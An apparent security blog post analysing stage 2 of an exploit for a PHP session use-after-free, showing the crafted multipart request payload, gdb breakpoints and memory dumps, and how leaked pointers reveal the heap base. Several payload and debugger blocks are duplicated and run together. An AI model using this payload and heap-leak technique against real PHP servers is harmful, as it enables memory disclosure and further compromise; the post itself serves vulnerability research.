November 22, 2026
PHP2Shell(CVE-2026–109618 and CVE-2026–109619): Everything You Need to Know: Part 4 — Stage 2
PHP2Shell(CVE-2026–109618 and CVE-2026–109619): Everything You Need to Know: Part 4 — Stage 2

By Albert Lab
3 min read
Now, let us look at stage of of the exploit — heap base leakage. This is one of the most interesting and complicated part of this exploit, memory forge is crafted in a clever way.
I am hitting on some trouble debugging PHP from the host with lldb, so this time I am swtiching to a more reliable way: debugging inside the container with gdb instead.
First of all, let us have a look at the content in in stage 2.
--COOKIE-LAB-BOUNDARY^M
Content-Disposition: form-data; name="PHPSESSID"^M
^M
a^M
--COOKIE-LAB-BOUNDARY^M
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"^M
^M
pwn^M
--COOKIE-LAB-BOUNDARY^M
Content-Disposition: form-data; name="1000"^M
^M
v0000xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx^M
...
--COOKIE-LAB-BOUNDARY^M
Content-Disposition: form-data; name="1999"^M
^M
AAAAAAAAAAAAAAAA^@^A^@^@^@^@^@^@LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^M
--COOKIE-LAB-BOUNDARY--^M--COOKIE-LAB-BOUNDARY^M
Content-Disposition: form-data; name="PHPSESSID"^M
^M
a^M
--COOKIE-LAB-BOUNDARY^M
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"^M
^M
pwn^M
--COOKIE-LAB-BOUNDARY^M
Content-Disposition: form-data; name="1000"^M
^M
v0000xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx^M
...
--COOKIE-LAB-BOUNDARY^M
Content-Disposition: form-data; name="1999"^M
^M
AAAAAAAAAAAAAAAA^@^A^@^@^@^@^@^@LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^M
--COOKIE-LAB-BOUNDARY--^Mfield 1999 is the critical one. Let us debug this one. We set a condintional breakpoint on this:
b php_register_variable_ex if strcmp(var_name, "1999") == 0
Breakpoint 4.2, php_register_variable_ex (var_name=0x75714e662010 "1999", val=0x7ffd73887f90,
track_vars_array=0x5ad880cc79c0 <filter_globals>) at /usr/src/php/main/php_variables.c:109
109 in /usr/src/php/main/php_variables.c
(gdb) p val->value.str->len
$2 = 79
(gdb) x/80bx val->value.str->val
0x75714e655088: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e655090: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e655098: 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00
0x75714e6550a0: 0x4c 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550a8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550b0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550b8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550c0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550c8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550d0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x00b php_register_variable_ex if strcmp(var_name, "1999") == 0
Breakpoint 4.2, php_register_variable_ex (var_name=0x75714e662010 "1999", val=0x7ffd73887f90,
track_vars_array=0x5ad880cc79c0 <filter_globals>) at /usr/src/php/main/php_variables.c:109
109 in /usr/src/php/main/php_variables.c
(gdb) p val->value.str->len
$2 = 79
(gdb) x/80bx val->value.str->val
0x75714e655088: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e655090: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e655098: 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00
0x75714e6550a0: 0x4c 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550a8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550b0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550b8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550c0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550c8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x75714e6550d0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x00Now, let us have a look at PS(id)
p ps_globals.id
$6 = (zend_string *) 0x75714e673000
(gdb) x/4gx 0x75714e673000
0x75714e673000: 0x4141414141414141 0x4141414141414141
0x75714e673010: 0x0000000000000100 0x414141414141414c
p/x *(zend_string *)0x75714e673000
$8 = {0x4c, 0x41 <repeats 50 times>} (256 bytes total) = {
gc = {
refcount = 0x41414141,
u = {
type_info = 0x41414141
}
},
h = 0x4141414141414141,
len = 0x100,
val = {0x4c, 0x41 <repeats 50 times>} (256 bytes total)
}p ps_globals.id
$6 = (zend_string *) 0x75714e673000
(gdb) x/4gx 0x75714e673000
0x75714e673000: 0x4141414141414141 0x4141414141414141
0x75714e673010: 0x0000000000000100 0x414141414141414c
p/x *(zend_string *)0x75714e673000
$8 = {0x4c, 0x41 <repeats 50 times>} (256 bytes total) = {
gc = {
refcount = 0x41414141,
u = {
type_info = 0x41414141
}
},
h = 0x4141414141414141,
len = 0x100,
val = {0x4c, 0x41 <repeats 50 times>} (256 bytes total)
}Amazing! ps_globals.id contains the payload we sent, which means it can be controlled. Note here: if only "1999" has the forged bytes, and "1999"'s val[] landed at 0x75714e655088, how did the same pattern end up at 0x75714e673000 (PS(id))? The answer: PHP registers each POST variable multiple times — once for $_POST, once for filter globals, possibly once for $_REQUEST. Each registration copies the value. We caught the filter_globals registration (note track_vars_array=<filter_globals> in the breakpoint). An earlier registration of the same field "1999" allocated a different copy at 0x75714e673000 — and that copy is the one that landed on PS(id). Same field, same forged bytes, different copy. Not a spray — a precise placement aided by the 53 grooming fields before it.
Let us have a look how the heap based finally leaked:
x/32gx 0x75714e673018 0x75714e673018: 0x414141414141414c 0x4141414141414141 0x75714e673028: 0x4141414141414141 0x4141414141414141 0x75714e673038: 0x4141414141414141 0x4141414141414141 0x75714e673048: 0x0041414141414141 0x000075714e6730a0 0x75714e673058: 0x0000000000000000 0x0000000000000010 0x75714e673068: 0x8000000000000000 0x00005ad87fd12930 0x75714e673078: 0xc3507157459fd15f 0x000075714e673040 0x75714e673088: 0x53504850203a6569 0x64313d4449535345 0x75714e673098: 0x7a49f9f703444f59 0x000075714e6730f0 0x75714e6730a8: 0x6332363430393139 0x203b623435353932 0x75714e6730b8: 0x43507157459fd15f 0x000075714e673100 0x75714e6730c8: 0x0000000000000000 0x0000000000000000 0x75714e6730d8: 0x0000000000000000 0x0000000000000000 0x75714e6730e8: 0x2a49f9f703444f59 0x000075714e673140 0x75714e6730f8: 0x03517157459fd15f 0x000075714e673140 0x75714e673108: 0x0000000000000000 0x0000000000000000
Leaked heap data (bytes 56–255, the gold)
0x75714e6730a0 & ~0x1FFFFF = 0x75714e600000 0x75714e673040 & ~0x1FFFFF = 0x75714e600000 0x75714e6730f0 & ~0x1FFFFF = 0x75714e600000 0x75714e673100 & ~0x1FFFFF = 0x75714e600000 0x75714e673140 & ~0x1FFFFF = 0x75714e600000 6 pointers agree (need 4) → heap_base = 0x75714e600000
The code snippet in the exploit to find the heap base, it needs 4 votes for the heap base.
Below is a summary of stage 2 heap base leak process:
Stage 1:
- PHP starts a session → allocates a zend_string for the session ID at 0x75714e673000
- PS(id) = 0x75714e673000 (valid pointer to a valid string)
- OOM hits → zend_bailout() → longjmp skips cleanup
- The heap memory at 0x75714e673000 gets freed back to ZMM, but ZMM doesn't zero it
- PS(id) still points to 0x75714e673000 , now a dangling pointer to freed memory Stage 2:
- Consumer arrives on the same worker. 55 multipart fields trigger new allocations
- ZMM reuses freed memory — one field's zend_string gets allocated such that its val[] starts at 0x75714e673000
- The forged bytes (0x41…41, 0x100, 0x4c…) are written into val[] overwriting the freed memory at 0x75714e673000 The corruption:
- PS(id) still points to 0x75714e673000 — PHP thinks it's a zend_string
- It reads len at offset +0x10 → finds 0x100 (256) instead of the original ~32
- Set-Cookie: PHPSESSID= reads 256 bytes from val[] → leaks heap
Clearly, this is a UAF vulnerability. So PS(id) is a stale pointer that was never cleared. The forged payload overwrote the memory it points to. PS(id) doesn't know the memory changed — it just reads whatever is there now.
The UAF process is explained in the following picture.
Originally published at http://chunfeng.io on November 22, 2026.